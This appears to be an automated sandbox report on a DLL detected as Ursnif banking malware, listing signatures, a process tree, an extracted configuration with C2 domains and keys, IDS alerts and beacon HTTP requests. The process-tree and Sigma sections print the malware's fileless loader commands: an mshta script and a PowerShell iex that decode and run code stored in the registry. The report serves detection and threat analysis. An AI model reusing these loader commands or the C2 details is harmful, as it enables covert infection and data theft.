Play interactive tour

Edit tour

Windows Analysis Report 2770174.dll

Overview

General Information

Sample Name:	2770174.dll
Analysis ID:	444656
MD5:	bce6371b0aed287193d8f90f2b1b4441
SHA1:	2fc4f4c523c701dba03cf1f1e6971e61dc1efcb3
SHA256:	4b631043c6ff0a2fd24591b0564f7b3fc59c46319646b27cec4cf24349227d36
Tags:	dll
Infos:
Most interesting Screenshot:

Detection

Ursnif

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Sigma detected: Encoded IEX

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Ursnif

Hooks registry keys query functions (used to hide registry keys)

Machine Learning detection for sample

Modifies the export address table of user mode modules (user mode EAT hooks)

Modifies the import address table of user mode modules (user mode IAT hooks)

Modifies the prolog of user mode functions (user mode inline hooks)

Performs DNS queries to domains with low reputation

Sigma detected: MSHTA Spawning Windows Shell

Sigma detected: Mshta Spawning Windows Shell

Suspicious powershell command line found

Writes or reads registry keys via WMI

Writes registry values via WMI

Antivirus or Machine Learning detection for unpacked file

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Registers a DLL

Sample execution stops while process was sleeping (likely an evasion)

Searches for the Microsoft Outlook file path

Tries to load missing DLLs

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5292 cmdline: loaddll32.exe 'C:\Users\user\Desktop\2770174.dll' MD5: 542795ADF7CC08EFCF675D65310596E8)

cmd.exe (PID: 5336 cmdline: cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5324 cmdline: rundll32.exe 'C:\Users\user\Desktop\2770174.dll',#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

regsvr32.exe (PID: 5288 cmdline: regsvr32.exe /s C:\Users\user\Desktop\2770174.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

iexplore.exe (PID: 5300 cmdline: C:\Program Files\Internet Explorer\iexplore.exe MD5: 6465CB92B25A7BC1DF8E01D8AC5E7596)

iexplore.exe (PID: 2376 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17410 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5812 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17428 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 2904 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17432 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 476 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:82960 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 1844 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17442 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 2564 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17454 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 3020 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:82990 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 1240 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17474 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 2904 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83006 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 4732 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:148488 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5144 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83022 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5804 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17508 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 5684 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83042 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 1884 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17518 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 4972 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:17528 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

iexplore.exe (PID: 2812 cmdline: 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:5300 CREDAT:83060 /prefetch:2 MD5: 071277CC2E3DF41EEEA8013E2AB58D5A)

rundll32.exe (PID: 5276 cmdline: rundll32.exe C:\Users\user\Desktop\2770174.dll,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

mshta.exe (PID: 5332 cmdline: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Pyhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pyhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\MarkChart'));if(!window.flag)close()</script>' MD5: 197FC97C6A843BEBB445C1D9C58DCBDB)

powershell.exe (PID: 3076 cmdline: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)) MD5: 95000560239032BC68B4C2FDFCDEF913)

conhost.exe (PID: 5160 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cleanup

Malware Configuration

Threatname: Ursnif

{"RSA Public Key": "1mPXe+HluarwW4R5yJj7kX696atmf6B7a6Jg5mZJ5i3sbRT19R7vT9mKoTtyIRImiHldxTU8DG3omytA0iEqz9hnZgVFnIpVKjKYSqpF7qVSkNASqDhbMdx0CqPxwgtnM3yHiXHYSYrxlGineE5/W0Lx89hsKcfonC8W/kvncnBH4KqUVMOPQeg/25xF11Xm", "c2_domain": ["outlook.com", "mail.com", "taybhctdyehfhgthp2.xyz", "thyihjtkylhmhnypp2.xyz"], "botnet": "5456", "server": "12", "serpent_key": "10291029JSRABBIT", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Yara Overview

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.452621123.0000000002508000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.340867138.0000000005278000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.358484652.0000000005168000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.452413152.0000000002508000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.476285292.0000000004F6C000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.358574602.0000000004B28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.341005235.0000000005278000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.452703813.0000000002508000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.358543809.0000000004B28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.358526121.0000000005168000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.358423422.0000000004B28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.358490581.0000000004B28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.341021111.0000000005278000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.358326330.0000000004B28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.340830267.0000000005278000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.452659371.0000000002508000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.358587293.0000000005168000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.340789162.0000000005278000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.358440799.0000000005168000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.340944106.0000000005278000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.358282465.0000000004B28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.358549744.0000000005168000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.452359075.0000000002508000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.358639536.0000000005168000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.452511017.0000000002508000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.478007505.000000000492C000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.450359527.000000000507C000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.340988909.0000000005278000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.358200334.0000000004B28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.452558605.0000000002508000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.358380196.0000000005168000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000000.00000003.452589252.0000000002508000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000005.00000003.358524105.0000000004B28000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000003.00000003.358621357.0000000005168000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
00000002.00000003.340893376.0000000005278000.00000004.00000040.sdmp	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: regsvr32.exe PID: 5288	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: loaddll32.exe PID: 5292	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 5324	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Process Memory Space: rundll32.exe PID: 5276	JoeSecurity_Ursnif	Yara detected Ursnif	Joe Security
Click to see the 34 entries

Sigma Overview

System Summary:

Sigma detected: Encoded IEX

Show sources

Source: Process started

Author: Florian Roth: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Pyhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pyhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\MarkChart'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 5332, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), ProcessId: 3076

Sigma detected: MSHTA Spawning Windows Shell

Show sources

Source: Process started

Author: Michael Haag: Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Pyhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pyhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\MarkChart'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 5332, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), ProcessId: 3076

Sigma detected: Mshta Spawning Windows Shell

Show sources

Source: Process started

Sigma detected: Non Interactive PowerShell

Show sources

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), CommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Pyhe='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Pyhe).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\MarkChart'));if(!window.flag)close()</script>', ParentImage: C:\Windows\System32\mshta.exe, ParentProcessId: 5332, ProcessCommandLine: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E').UtilDiagram)), ProcessId: 3076

Jbx Signature Overview

Click to jump to signature section

Show All Signature Results

AV Detection:

Antivirus / Scanner detection for submitted sample

Show sources

Source: 2770174.dll

Avira: detected

Found malware configuration

Show sources

Source: 0.2.loaddll32.exe.10000000.2.unpack

Malware Configuration Extractor: Ursnif {"RSA Public Key": "1mPXe+HluarwW4R5yJj7kX696atmf6B7a6Jg5mZJ5i3sbRT19R7vT9mKoTtyIRImiHldxTU8DG3omytA0iEqz9hnZgVFnIpVKjKYSqpF7qVSkNASqDhbMdx0CqPxwgtnM3yHiXHYSYrxlGineE5/W0Lx89hsKcfonC8W/kvncnBH4KqUVMOPQeg/25xF11Xm", "c2_domain": ["outlook.com", "mail.com", "taybhctdyehfhgthp2.xyz", "thyihjtkylhmhnypp2.xyz"], "botnet": "5456", "server": "12", "serpent_key": "10291029JSRABBIT", "sleep_time": "10", "CONF_TIMEOUT": "20", "SetWaitableTimer_value": "0", "DGA_count": "10"}

Machine Learning detection for sample

Show sources

Source: 2770174.dll

Joe Sandbox ML: detected

Source: 0.2.loaddll32.exe.10000000.2.unpack	Avira: Label: TR/Crypt.XPACK.Gen8
Source: 3.2.rundll32.exe.10000000.3.unpack	Avira: Label: TR/Crypt.XPACK.Gen8

Source: 2770174.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.20.185.68:443 -> 192.168.2.5:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.20.185.68:443 -> 192.168.2.5:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49715 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.44:443 -> 192.168.2.5:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49747 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49756 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49755 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49760 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.20.250.115:443 -> 192.168.2.5:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 195.20.250.115:443 -> 192.168.2.5:49764 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49795 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49797 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49796 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49798 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49799 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49800 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49802 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49801 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.87:443 -> 192.168.2.5:49825 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49828 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.59:443 -> 192.168.2.5:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.180.206:443 -> 192.168.2.5:49831 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.54:443 -> 192.168.2.5:49835 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49838 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 82.165.229.16:443 -> 192.168.2.5:49837 version: TLS 1.2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Show sources

Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49724 -> 40.97.116.82:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49803 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49803 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49805 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49805 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49814 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49814 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49815 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49815 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49817 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.5:49819 -> 45.90.58.179:80
Source: Traffic	Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.5:49821 -> 45.90.58.179:80

Performs DNS queries to domains with low reputation

Show sources

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz
Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe	DNS query: taybhctdyehfhgthp2.xyz

Source: Joe Sandbox View	IP Address: 40.97.148.226 40.97.148.226
Source: Joe Sandbox View	IP Address: 52.97.170.34 52.97.170.34

Source: Joe Sandbox View

ASN Name: GREENFLOID-ASUA GREENFLOID-ASUA

Source: Joe Sandbox View

JA3 fingerprint: 9e10692f1b7f78228b2d4e424db3a98c

Source: global traffic	HTTP traffic detected: GET /jdraw/yH91aKnpTrUgeTTXk_2FC/UNtUKwQdb1VcS_2B/GaoM_2Fyx_2BE1f/CKkjJtxjumUCxy08c3/hEyqk7y0R/Lv9aFeVgtQQx8QD9pW5d/Ac07adghbVZgEftTXAe/6L6pB6BmU2Y7k8ESiCzmDb/Z4dkw_2BAKquP/hA_2BwCK/3iTjiCeJZZSpLKXArjcyss9/OwKlQvPM9fHtt6/WpI0i7.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: outlook.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jdraw/GTAeWl1dTEKsPGzboniA9C/3TQSND4hN4q8j/tJxnEgfP/uW5VGwHzywLraum6aAQWdJy/1RqIzWDCCX/qrcTQot2XuPIeam7w/8XDXQ5cif7RJ/1_2B3PVmQx5/nHKK8uT65nNyIl/JeFpPVHIxWMVXvseH_2FD/YH70V7tTLImM6Joz/2I1VGAIxwkkbz7Z/4EmL4AYi/6QglyA.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: mail.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /jdraw/_2Faxv8_2Bu0S355431/zWBmIqRqQnvMB_2FKOk6CG/NwnPAjKDdicU7/LyyqKz0o/YfBYTeGYFQwkbZMyJ8naD46/LAJf_2B0RU/3xv7VkvLo_2BH32z2/0GV2mzuC7wB9/KQWi8z52zYq/laCh5k_2F_2FsN/gFzjneWKury1hVqDQnliR/azK5qDi4jLH99wYz/G9Hdx13SInuD3gF/73zT6HN_2B6msVs0lU/EuYlN_2BC7WR/i.crw HTTP/1.1Accept: text/html, application/xhtml+xml, image/jxr, /Accept-Language: en-USUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: taybhctdyehfhgthp2.xyzConnection: Keep-Alive
